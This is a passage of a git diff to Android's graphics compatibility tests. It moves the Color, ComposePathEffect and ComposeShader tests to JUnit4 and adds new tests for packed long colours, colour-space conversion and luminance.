+        ColorSpace.Connector connector =
+                ColorSpace.connect(ColorSpace.get(ColorSpace.Named.CIE_XYZ));
+
+        float[] expected = { 0.2280f, 0.7541f, 0.8453f };
+
+        float[] r3 = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r3);
+        assertEquals(3, r3.length);
+        assertArrayEquals(expected, r3, 1e-3f);
+    }
+
+    @Test
+    public void testIDs() {
+        // These cannot change
+        assertEquals(0, ColorSpace.get(ColorSpace.Named.SRGB).getId());
+        assertEquals(-1, ColorSpace.MIN_ID);
+        assertEquals(63, ColorSpace.MAX_ID);
+    }
+
+    @Test
+    public void testFromLinear() {
+        ColorSpace.Rgb colorSpace = (ColorSpace.Rgb) ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float[] source = { 0.0f, 0.5f, 1.0f };
+        float[] expected = { 0.0f, 0.7354f, 1.0f };
+
+        float[] r1 = colorSpace.fromLinear(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        float[] r2 = { source[0], source[1], source[2] };
+        assertSame(r2, colorSpace.fromLinear(r2));
+        assertEquals(3, r2.length);
+        assertArrayEquals(r1, r2, 1e-5f);
+    }
+
+    @Test
+    public void testToLinear() {
+        ColorSpace.Rgb colorSpace = (ColorSpace.Rgb) ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float[] source = { 0.0f, 0.5f, 1.0f };
+        float[] expected = new float[] { 0.0f, 0.2140f, 1.0f };
+
+        float[] r1 = colorSpace.toLinear(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        float[] r2 = new float[] { source[0], source[1], source[2] };
+        assertSame(r2, colorSpace.toLinear(r2));
+        assertEquals(3, r2.length);
+        assertArrayEquals(r1, r2, 1e-5f);
+    }
+
+    @Test
+    public void testTransferParameters() {
+        ColorSpace.Rgb colorSpace = (ColorSpace.Rgb) ColorSpace.get(ColorSpace.Named.SRGB);
+        assertNotNull(colorSpace.getTransferParameters());
+
+        colorSpace = (ColorSpace.Rgb) ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+        assertNull(colorSpace.getTransferParameters());
+    }
+
+    @Test
+    public void testIdempotentTransferFunctions() {
+        Arrays.stream(ColorSpace.Named.values())
+                .map(ColorSpace::get)
+                .filter(cs -> cs.getModel() == ColorSpace.Model.RGB)
+                .map(cs -> (ColorSpace.Rgb) cs)
+                .forEach(cs -> {
+                        float[] source = { 0.0f, 0.5f, 1.0f };
+                        float[] r = cs.fromLinear(cs.toLinear(source[0], source[1], source[2]));
+                        assertArrayEquals(source, r, 1e-3f);
+                });
+    }
+
+    @Test
+    public void testMatch() {
+        for (ColorSpace.Named named : ColorSpace.Named.values()) {
+            ColorSpace cs = ColorSpace.get(named);
+            if (cs.getModel() == ColorSpace.Model.RGB) {
+                ColorSpace.Rgb rgb = (ColorSpace.Rgb) cs;
+                // match() cannot match extended sRGB
+                if (rgb != ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB) &&
+                        rgb != ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB)) {
+
+                    // match() uses CIE XYZ D50
+                    rgb = (ColorSpace.Rgb) ColorSpace.adapt(rgb, ColorSpace.ILLUMINANT_D50);
+                    assertSame(cs,
+                            ColorSpace.match(rgb.getTransform(), rgb.getTransferParameters()));
+                }
+            }
+        }
+
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.match(SRGB_TO_XYZ_D50, new ColorSpace.Rgb.TransferParameters(
+                        1 / 1.055, 0.055 / 1.055, 1 / 12.92, 0.04045, 2.4)));
+    }
+
+
+    @SuppressWarnings("SameParameterValue")
+    private static void assertArrayNotEquals(float[] a, float[] b, float eps) {
+        for (int i = 0; i < a.length; i++) {
+            if (Float.compare(a[i], b[i]) == 0 || Math.abs(a[i] - b[i]) < eps) {
+                fail("Expected " + a[i] + ", received " + b[i]);
+            }
+        }
+    }
+
+    private static void assertArrayEquals(float[] a, float[] b, float eps) {
+        for (int i = 0; i < a.length; i++) {
+            if (Float.compare(a[i], b[i]) != 0 && Math.abs(a[i] - b[i]) > eps) {
+                fail("Expected " + a[i] + ", received " + b[i]);
+            }
+        }
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 760e3f9..4801a1a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -15,82 +15,76 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Color;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class ColorTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    public void testAlpha(){
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ColorTest {
+    @Test
+    public void testAlpha() {
         assertEquals(0xff, Color.alpha(Color.RED));
         assertEquals(0xff, Color.alpha(Color.YELLOW));
-        new Color();
     }
 
-    public void testArgb(){
+    @Test
+    public void testArgb() {
         assertEquals(Color.RED, Color.argb(0xff, 0xff, 0x00, 0x00));
         assertEquals(Color.YELLOW, Color.argb(0xff, 0xff, 0xff, 0x00));
+        assertEquals(Color.RED, Color.argb(1.0f, 1.0f, 0.0f, 0.0f));
+        assertEquals(Color.YELLOW, Color.argb(1.0f, 1.0f, 1.0f, 0.0f));
     }
 
-    public void testBlue(){
+    @Test
+    public void testBlue() {
         assertEquals(0x00, Color.blue(Color.RED));
         assertEquals(0x00, Color.blue(Color.YELLOW));
     }
 
-    public void testGreen(){
+    @Test
+    public void testGreen() {
         assertEquals(0x00, Color.green(Color.RED));
         assertEquals(0xff, Color.green(Color.GREEN));
     }
 
-    public void testHSVToColor1(){
-        //abnormal case: hsv length less than 3
-        try{
-            float[] hsv = new float[2];
-            Color.HSVToColor(hsv);
-            fail("shouldn't come to here");
-        }catch(RuntimeException e){
-            //expected
-        }
+    @Test(expected=RuntimeException.class)
+    public void testHSVToColorArrayTooShort() {
+        // abnormal case: hsv length less than 3
+        float[] hsv = new float[2];
+        Color.HSVToColor(hsv);
+    }
 
+    @Test
+    public void testHSVToColor() {
         float[] hsv = new float[3];
         Color.colorToHSV(Color.RED, hsv);
         assertEquals(Color.RED, Color.HSVToColor(hsv));
     }
 
-    public void testHSVToColor2(){
-        //abnormal case: hsv length less than 3
-        try{
-            float[] hsv = new float[2];
-            Color.HSVToColor(hsv);
-            fail("shouldn't come to here");
-        }catch(RuntimeException e){
-            //expected
-        }
-
+    @Test
+    public void testHSVToColorWithAlpha() {
         float[] hsv = new float[3];
         Color.colorToHSV(Color.RED, hsv);
         assertEquals(Color.RED, Color.HSVToColor(0xff, hsv));
     }
 
-    public void testParseColor(){
-        //abnormal case: colorString starts with '#' but length is neither 7 nor 9
-        try{
-            Color.parseColor("#ff00ff0");
-            fail("should come to here");
-        }catch(IllegalArgumentException e){
-            //expected
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testParseColorStringOfInvalidLength() {
+        // abnormal case: colorString starts with '#' but length is neither 7 nor 9
+        Color.parseColor("#ff00ff0");
+    }
 
+    @Test
+    public void testParseColor() {
         assertEquals(Color.RED, Color.parseColor("#ff0000"));
         assertEquals(Color.RED, Color.parseColor("#ffff0000"));
 
-        //abnormal case: colorString doesn't start with '#' and is unknown color
-        try{
-            Color.parseColor("hello");
-            fail("should come to here");
-        }catch(IllegalArgumentException e){
-            //expected
-        }
-
         assertEquals(Color.BLACK, Color.parseColor("black"));
         assertEquals(Color.DKGRAY, Color.parseColor("darkgray"));
         assertEquals(Color.GRAY, Color.parseColor("gray"));
@@ -104,28 +98,47 @@
         assertEquals(Color.MAGENTA, Color.parseColor("magenta"));
     }
 
-    public void testRed(){
+    @Test(expected=IllegalArgumentException.class)
+    public void testParseColorUnsupportedFormat() {
+        // abnormal case: colorString doesn't start with '#' and is unknown color
+        Color.parseColor("hello");
+    }
+
+    @Test
+    public void testRed() {
         assertEquals(0xff, Color.red(Color.RED));
         assertEquals(0xff, Color.red(Color.YELLOW));
     }
 
-    public void testRgb(){
+    @Test
+    public void testRgb() {
         assertEquals(Color.RED, Color.rgb(0xff, 0x00, 0x00));
         assertEquals(Color.YELLOW, Color.rgb(0xff, 0xff, 0x00));
+        assertEquals(Color.RED, Color.rgb(1.0f, 0.0f, 0.0f));
+        assertEquals(Color.YELLOW, Color.rgb(1.0f, 1.0f, 0.0f));
     }
 
-    public void testRGBToHSV(){
-        //abnormal case: hsv length less than 3
-        try{
-            float[] hsv = new float[2];
-            Color.RGBToHSV(0xff, 0x00, 0x00, hsv);
-            fail("shouldn't come to here");
-        }catch(RuntimeException e){
-            //expected
-        }
+    @Test(expected=RuntimeException.class)
+    public void testRGBToHSVArrayTooShort() {
+        // abnormal case: hsv length less than 3
+        float[] hsv = new float[2];
+        Color.RGBToHSV(0xff, 0x00, 0x00, hsv);
+    }
 
+    @Test
+    public void testRGBToHSV() {
         float[] hsv = new float[3];
         Color.RGBToHSV(0xff, 0x00, 0x00, hsv);
         assertEquals(Color.RED, Color.HSVToColor(hsv));
     }
+
+    @Test
+    public void testLuminance() {
+        assertEquals(0, Color.luminance(Color.BLACK), 0);
+        float eps = 0.000001f;
+        assertEquals(0.0722, Color.luminance(Color.BLUE), eps);
+        assertEquals(0.2126, Color.luminance(Color.RED), eps);
+        assertEquals(0.7152, Color.luminance(Color.GREEN), eps);
+        assertEquals(1, Color.luminance(Color.WHITE), 0);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java b/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java
new file mode 100644
index 0000000..f7893c7
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.ColorSpace.Named;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static android.graphics.Color.alpha;
+import static android.graphics.Color.blue;
+import static android.graphics.Color.colorSpace;
+import static android.graphics.Color.convert;
+import static android.graphics.Color.green;
+import static android.graphics.Color.luminance;
+import static android.graphics.Color.pack;
+import static android.graphics.Color.red;
+import static android.graphics.Color.toArgb;
+import static android.graphics.Color.valueOf;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Color_ColorLongTest {
+    @Test
+    public void testRed() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        assertEquals(0.5f, red(pack(0.5f, 0.0f, 1.0f)), 0.01f);
+        assertEquals(0.5f, red(pack(0.5f, 0.0f, 1.0f, 1.0f, p3)), 0.01f);
+    }
+
+    @Test
+    public void testGreen() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        assertEquals(0.7f, green(pack(0.5f, 0.7f, 1.0f)), 0.01f);
+        assertEquals(0.7f, green(pack(0.5f, 0.7f, 1.0f, 1.0f, p3)), 0.01f);
+    }
+
+    @Test
+    public void testBlue() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        assertEquals(1.0f, blue(pack(0.5f, 0.7f, 1.0f)), 0.01f);
+        assertEquals(1.0f, blue(pack(0.5f, 0.7f, 1.0f, 1.0f, p3)), 0.01f);
+    }
+
+    @Test
+    public void testAlpha() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        assertEquals(0.25f, alpha(pack(0.5f, 0.7f, 1.0f, 0.25f)), 0.01f);
+        assertEquals(0.25f, alpha(pack(0.5f, 0.7f, 1.0f, 0.25f, p3)), 0.01f);
+    }
+
+    @Test
+    public void testColorSpace() {
+        ColorSpace srgb = ColorSpace.get(Named.SRGB);
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        assertEquals(srgb, colorSpace(pack(0.5f, 0.7f, 1.0f)));
+        assertEquals(p3, colorSpace(pack(0.5f, 0.7f, 1.0f, 1.0f, p3)));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidColorSpace() {
+        colorSpace(0xffffffffffffffffL);
+    }
+
+    @Test
+    public void testIsSrgb() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        assertTrue(Color.isSrgb(pack(0.5f, 0.7f, 1.0f)));
+        assertFalse(Color.isSrgb(pack(0.5f, 0.7f, 1.0f, 1.0f, p3)));
+
+        assertTrue(Color.valueOf(0.5f, 0.7f, 1.0f).isSrgb());
+        assertFalse(Color.valueOf(0.5f, 0.7f, 1.0f, 1.0f, p3).isSrgb());
+    }
+
+    @Test
+    public void testIsWideGamut() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        assertFalse(Color.isWideGamut(pack(0.5f, 0.7f, 1.0f)));
+        assertTrue(Color.isWideGamut(pack(0.5f, 0.7f, 1.0f, 1.0f, p3)));
+
+        assertFalse(Color.valueOf(0.5f, 0.7f, 1.0f).isWideGamut());
+        assertTrue(Color.valueOf(0.5f, 0.7f, 1.0f, 1.0f, p3).isWideGamut());
+    }
+
+    @Test
+    public void testIsInColorSpace() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        assertFalse(Color.isInColorSpace(pack(0.5f, 0.7f, 1.0f), p3));
+        assertTrue(Color.isInColorSpace(pack(0.5f, 0.7f, 1.0f, 1.0f, p3), p3));
+    }
+
+    @Test
+    public void testValueOf() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+
+        Color color1 = valueOf(0x7fff00ff);
+        assertEquals(1.0f, color1.red(), 0.01f);
+        assertEquals(0.0f, color1.green(), 0.01f);
+        assertEquals(1.0f, color1.blue(), 0.01f);
+        assertEquals(0.5f, color1.alpha(), 0.01f);
+        assertTrue(color1.getColorSpace().isSrgb());
+
+        Color color2 = valueOf(0.5f, 0.7f, 1.0f);
+        assertEquals(0.5f, color2.red(), 0.01f);
+        assertEquals(0.7f, color2.green(), 0.01f);
+        assertEquals(1.0f, color2.blue(), 0.01f);
+        assertEquals(1.0f, color2.alpha(), 0.01f);
+        assertTrue(color2.getColorSpace().isSrgb());
+
+        Color color3 = valueOf(0.5f, 0.5f, 1.0f, 0.25f);
+        assertEquals(0.5f, color3.red(), 0.01f);
+        assertEquals(0.5f, color3.green(), 0.01f);
+        assertEquals(1.0f, color3.blue(), 0.01f);
+        assertEquals(0.25f, color3.alpha(), 0.01f);
+        assertTrue(color3.getColorSpace().isSrgb());
+
+        Color color4 = valueOf(0.5f, 0.5f, 1.0f, 0.25f, p3);
+        assertEquals(0.5f, color4.red(), 0.01f);
+        assertEquals(0.5f, color4.green(), 0.01f);
+        assertEquals(1.0f, color4.blue(), 0.01f);
+        assertEquals(0.25f, color4.alpha(), 0.01f);
+        assertFalse(color4.getColorSpace().isSrgb());
+        assertEquals(p3, color4.getColorSpace());
+
+        Color color5 = valueOf(pack(0.5f, 0.5f, 1.0f, 0.25f, p3));
+        assertEquals(0.5f, color5.red(), 0.01f);
+        assertEquals(0.5f, color5.green(), 0.01f);
+        assertEquals(1.0f, color5.blue(), 0.01f);
+        assertEquals(0.25f, color5.alpha(), 0.01f);
+        assertFalse(color5.getColorSpace().isSrgb());
+        assertEquals(p3, color5.getColorSpace());
+
+        Color color6 = valueOf(pack(0.5f, 0.5f, 1.0f, 0.25f));
+        assertEquals(0.5f, color6.red(), 0.01f);
+        assertEquals(0.5f, color6.green(), 0.01f);
+        assertEquals(1.0f, color6.blue(), 0.01f);
+        assertEquals(0.25f, color6.alpha(), 0.01f);
+        assertTrue(color6.getColorSpace().isSrgb());
+
+        Color color7 = valueOf(new float[] { 0.5f, 0.5f, 1.0f, 0.25f }, ColorSpace.get(Named.SRGB));
+        assertEquals(0.5f, color7.red(), 0.01f);
+        assertEquals(0.5f, color7.green(), 0.01f);
+        assertEquals(1.0f, color7.blue(), 0.01f);
+        assertEquals(0.25f, color7.alpha(), 0.01f);
+        assertTrue(color7.getColorSpace().isSrgb());
+
+        float[] components = { 0.5f, 0.5f, 1.0f, 0.25f, 0.5f, 0.8f };
+        Color color8 = valueOf(components, ColorSpace.get(Named.SRGB));
+        assertEquals(0.5f, color8.red(), 0.01f);
+        assertEquals(0.5f, color8.green(), 0.01f);
+        assertEquals(1.0f, color8.blue(), 0.01f);
+        assertEquals(0.25f, color8.alpha(), 0.01f);
+        assertTrue(color8.getColorSpace().isSrgb());
+        // Make sure we received a copy
+        components[0] = 127.0f;
+        assertNotEquals(color8.red(), components[0]);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testValueOfFailure() {
+        valueOf(new float[] { 0.5f, 0.5f, 1.0f }, ColorSpace.get(Named.SRGB));
+    }
+
+    @Test
+    public void testModel() {
+        Color c = valueOf(new float[] { 0.5f, 0.5f, 1.0f, 1.0f }, ColorSpace.get(Named.CIE_XYZ));
+        assertEquals(ColorSpace.Model.XYZ, c.getModel());
+    }
+
+    @Test
+    public void testComponents() {
+        Color c = valueOf(0.1f, 0.2f, 0.3f, 0.4f);
+
+        assertEquals(4, c.getComponentCount());
+        assertEquals(c.red(), c.getComponent(0), 0.0f);
+        assertEquals(c.green(), c.getComponent(1), 0.0f);
+        assertEquals(c.blue(), c.getComponent(2), 0.0f);
+        assertEquals(c.alpha(), c.getComponent(3), 0.0f);
+
+        float[] components = c.getComponents();
+        assertEquals(c.getComponentCount(), components.length);
+        assertEquals(c.red(), components[0], 0.0f);
+        assertEquals(c.green(), components[1], 0.0f);
+        assertEquals(c.blue(), components[2], 0.0f);
+        assertEquals(c.alpha(), components[3], 0.0f);
+
+        // Make sure we received a copy
+        components[0] = 127.0f;
+        assertNotEquals(c.red(), components[0]);
+
+        float[] componentsRet = c.getComponents(components);
+        assertSame(components, componentsRet);
+        assertEquals(c.getComponentCount(), componentsRet.length);
+        assertEquals(c.red(), componentsRet[0], 0.0f);
+        assertEquals(c.green(), componentsRet[1], 0.0f);
+        assertEquals(c.blue(), componentsRet[2], 0.0f);
+        assertEquals(c.alpha(), componentsRet[3], 0.0f);
+
+        componentsRet = c.getComponents(null);
+        assertNotNull(componentsRet);
+        assertEquals(c.getComponentCount(), componentsRet.length);
+        assertEquals(c.red(), componentsRet[0], 0.0f);
+        assertEquals(c.green(), componentsRet[1], 0.0f);
+        assertEquals(c.blue(), componentsRet[2], 0.0f);
+        assertEquals(c.alpha(), componentsRet[3], 0.0f);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testComponentOutOfBounds() {
+        valueOf(0.1f, 0.2f, 0.3f, 0.4f).getComponent(4);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testGetComponentOutOfBounds() {
+        valueOf(0.1f, 0.2f, 0.3f, 0.4f).getComponents(new float[3]);
+    }
+
+    @Test
+    public void testToArgb() {
+        assertEquals(0xff8000ff, toArgb(pack(0.5f, 0.0f, 1.0f)));
+
+        long color = pack(0.8912f, 0.4962f, 0.1164f, 1.0f, ColorSpace.get(Named.ADOBE_RGB));
+        // Red if 0x7f instead of 0x80 because the rounding error caused by the
+        // intermediate fp16 representation
+        assertEquals(0xffff7f00, toArgb(color));
+
+        assertEquals(0xff8000ff, valueOf(0.5f, 0.0f, 1.0f).toArgb());
+        assertEquals(0xffff7f00,
+                valueOf(0.8912f, 0.4962f, 0.1164f, 1.0f, ColorSpace.get(Named.ADOBE_RGB)).toArgb());
+    }
+
+    @Test
+    public void testPackSrgb() {
+        ColorSpace srgb = ColorSpace.get(Named.SRGB);
+
+        long color1 = pack(0.5f, 0.0f, 1.0f);
+        long color2 = pack(0.5f, 0.0f, 1.0f, 1.0f);
+        long color3 = pack(0.5f, 0.0f, 1.0f, 1.0f, srgb);
+
+        assertEquals(color1, color2);
+        assertEquals(color1, color3);
+
+        assertEquals(0xff8000ff, (int) (color1 >>> 32));
+
+        long color4 = pack(0.5f, 0.0f, 1.0f);
+
+        assertEquals(0.5f, red(color4), 0.01f);
+        assertEquals(0.0f, green(color4), 0.01f);
+        assertEquals(1.0f, blue(color4), 0.01f);
+        assertEquals(1.0f, alpha(color4), 0.01f);
+
+        long color5 = pack(0xff8000ff);
+
+        assertEquals(color1, color5);
+        assertEquals(0xff8000ff, (int) (color5 >>> 32));
+
+        assertEquals(color1, valueOf(0.5f, 0.0f, 1.0f).pack());
+    }
+
+    @Test
+    public void testPack() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+        long color = pack(0.5f, 0.0f, 1.0f, 0.25f, p3);
+
+        assertEquals(0.5f, red(color), 0.01f);
+        assertEquals(0.0f, green(color), 0.01f);
+        assertEquals(1.0f, blue(color), 0.01f);
+        assertEquals(0.25f, alpha(color), 0.01f);
+
+        assertEquals(color, valueOf(0.5f, 0.0f, 1.0f, 0.25f, p3).pack());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testPackFailure() {
+        ColorSpace colorSpace = new ColorSpace.Rgb("Fake",
+                new float[] { 0.7347f, 0.2653f, 0.1596f, 0.8404f, 0.0366f, 0.0001f },
+                new float[] { 0.34567f, 0.35850f }, x -> x * 2.0f, x -> x / 2.0f, 0.0f, 1.0f);
+        pack(0.5f, 0.0f, 1.0f, 0.25f, colorSpace);
+    }
+
+    @Test
+    public void testLuminanceSrgb() {
+        assertEquals(0.0722f, luminance(pack(0.0f, 0.0f, 1.0f)), 0.000001f);
+        assertEquals(0.2126f, luminance(pack(1.0f, 0.0f, 0.0f)), 0.000001f);
+        assertEquals(0.7152f, luminance(pack(0.0f, 1.0f, 0.0f)), 0.000001f);
+        assertEquals(1.0f,    luminance(pack(1.0f, 1.0f, 1.0f)), 0.0f);
+        assertEquals(0.0f,    luminance(pack(0.0f, 0.0f, 0.0f)), 0.0f);
+
+        assertEquals(0.0722f, valueOf(0.0f, 0.0f, 1.0f).luminance(), 0.000001f);
+        assertEquals(0.2126f, valueOf(1.0f, 0.0f, 0.0f).luminance(), 0.000001f);
+        assertEquals(0.7152f, valueOf(0.0f, 1.0f, 0.0f).luminance(), 0.000001f);
+        assertEquals(1.0f,    valueOf(1.0f, 1.0f, 1.0f).luminance(), 0.0f);
+        assertEquals(0.0f,    valueOf(0.0f, 0.0f, 0.0f).luminance(), 0.0f);
+    }
+
+    @Test
+    public void testLuminance() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+        assertEquals(0.0722f, luminance(pack(0.0f, 0.0f, 1.0f, 1.0f, p3)), 0.000001f);
+        assertEquals(0.2126f, luminance(pack(1.0f, 0.0f, 0.0f, 1.0f, p3)), 0.000001f);
+        assertEquals(0.7152f, luminance(pack(0.0f, 1.0f, 0.0f, 1.0f, p3)), 0.000001f);
+        assertEquals(1.0f,    luminance(pack(1.0f, 1.0f, 1.0f, 1.0f, p3)), 0.0f);
+        assertEquals(0.0f,    luminance(pack(0.0f, 0.0f, 0.0f, 1.0f, p3)), 0.0f);
+
+        assertEquals(0.0722f, valueOf(0.0f, 0.0f, 1.0f, 1.0f, p3).luminance(), 0.000001f);
+        assertEquals(0.2126f, valueOf(1.0f, 0.0f, 0.0f, 1.0f, p3).luminance(), 0.000001f);
+        assertEquals(0.7152f, valueOf(0.0f, 1.0f, 0.0f, 1.0f, p3).luminance(), 0.000001f);
+        assertEquals(1.0f,    valueOf(1.0f, 1.0f, 1.0f, 1.0f, p3).luminance(), 0.0f);
+        assertEquals(0.0f,    valueOf(0.0f, 0.0f, 0.0f, 1.0f, p3).luminance(), 0.0f);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testLuminanceFunctionFailure() {
+        luminance(pack(1.0f, 1.0f, 1.0f, 1.0f, ColorSpace.get(Named.CIE_LAB)));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testLuminanceMethodFailure() {
+        valueOf(1.0f, 1.0f, 1.0f, 1.0f, ColorSpace.get(Named.CIE_LAB)).luminance();
+    }
+
+    @Test
+    public void testConvertMethod() {
+        Color sRgb = Color.valueOf(1.0f, 0.5f, 0.0f);
+        Color adobeRgb = sRgb.convert(ColorSpace.get(Named.ADOBE_RGB));
+
+        assertEquals(ColorSpace.get(Named.ADOBE_RGB), adobeRgb.getColorSpace());
+        assertEquals(0.8912f, adobeRgb.red(), 0.001f);
+        assertEquals(0.4962f, adobeRgb.green(), 0.001f);
+        assertEquals(0.1164f, adobeRgb.blue(), 0.001f);
+    }
+
+    @Test
+    public void testConvertColorInt() {
+        long color = convert(0xffff8000, ColorSpace.get(Named.ADOBE_RGB));
+
+        assertEquals(ColorSpace.get(Named.ADOBE_RGB), colorSpace(color));
+        assertEquals(0.8912f, red(color), 0.01f);
+        assertEquals(0.4962f, green(color), 0.01f);
+        assertEquals(0.1164f, blue(color), 0.01f);
+    }
+
+    @Test
+    public void testConvertColorLong() {
+        long color = convert(pack(1.0f, 0.5f, 0.0f, 1.0f, ColorSpace.get(Named.DISPLAY_P3)),
+                ColorSpace.get(Named.ADOBE_RGB));
+
+        assertEquals(0.9499f, red(color), 0.01f);
+        assertEquals(0.4597f, green(color), 0.01f);
+        assertEquals(0.0000f, blue(color), 0.01f);
+    }
+
+    @Test
+    public void testConvertConnector() {
+        ColorSpace p3 = ColorSpace.get(Named.DISPLAY_P3);
+        ColorSpace.Connector connector = ColorSpace.connect(p3, ColorSpace.get(Named.ADOBE_RGB));
+        long color = convert(pack(1.0f, 0.5f, 0.0f, 1.0f, p3), connector);
+
+        assertEquals(0.9499f, red(color), 0.01f);
+        assertEquals(0.4597f, green(color), 0.01f);
+        assertEquals(0.0000f, blue(color), 0.01f);
+
+        color = convert(1.0f, 0.5f, 0.0f, 1.0f, connector);
+
+        assertEquals(0.9499f, red(color), 0.01f);
+        assertEquals(0.4597f, green(color), 0.01f);
+        assertEquals(0.0000f, blue(color), 0.01f);
+    }
+
+    @Test
+    public void testConvert() {
+        long color = convert(1.0f, 0.5f, 0.0f, 1.0f,
+                ColorSpace.get(Named.DISPLAY_P3), ColorSpace.get(Named.ADOBE_RGB));
+
+        assertEquals(0.9499f, red(color), 0.01f);
+        assertEquals(0.4597f, green(color), 0.01f);
+        assertEquals(0.0000f, blue(color), 0.01f);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
index 35a38a3..bf11b93 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
@@ -15,6 +15,7 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
@@ -25,16 +26,24 @@
 import android.graphics.Path;
 import android.graphics.PathEffect;
 import android.graphics.Bitmap.Config;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
 import junit.framework.TestCase;
 
-public class ComposePathEffectTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ComposePathEffectTest {
     private static final int BITMAP_WIDTH = 110;
     private static final int BITMAP_HEIGHT = 20;
     private static final int START_X = 10;
     private static final int END_X = BITMAP_WIDTH - 10;
     private static final int CENTER = BITMAP_HEIGHT / 2;
 
+    @Test
     public void testComposePathEffect() {
         Path path = new Path();
         path.moveTo(START_X, CENTER);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
index b44faff..8c8911e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
@@ -15,29 +15,35 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.BitmapShader;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ComposeShader;
 import android.graphics.LinearGradient;
+import android.graphics.Matrix;
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
 import android.graphics.Shader;
-import android.graphics.Xfermode;
-import android.graphics.Bitmap.Config;
 import android.graphics.Shader.TileMode;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class ComposeShaderTest extends TestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ComposeShaderTest {
     private static final int SIZE = 255;
     private static final int TOLERANCE = 5;
 
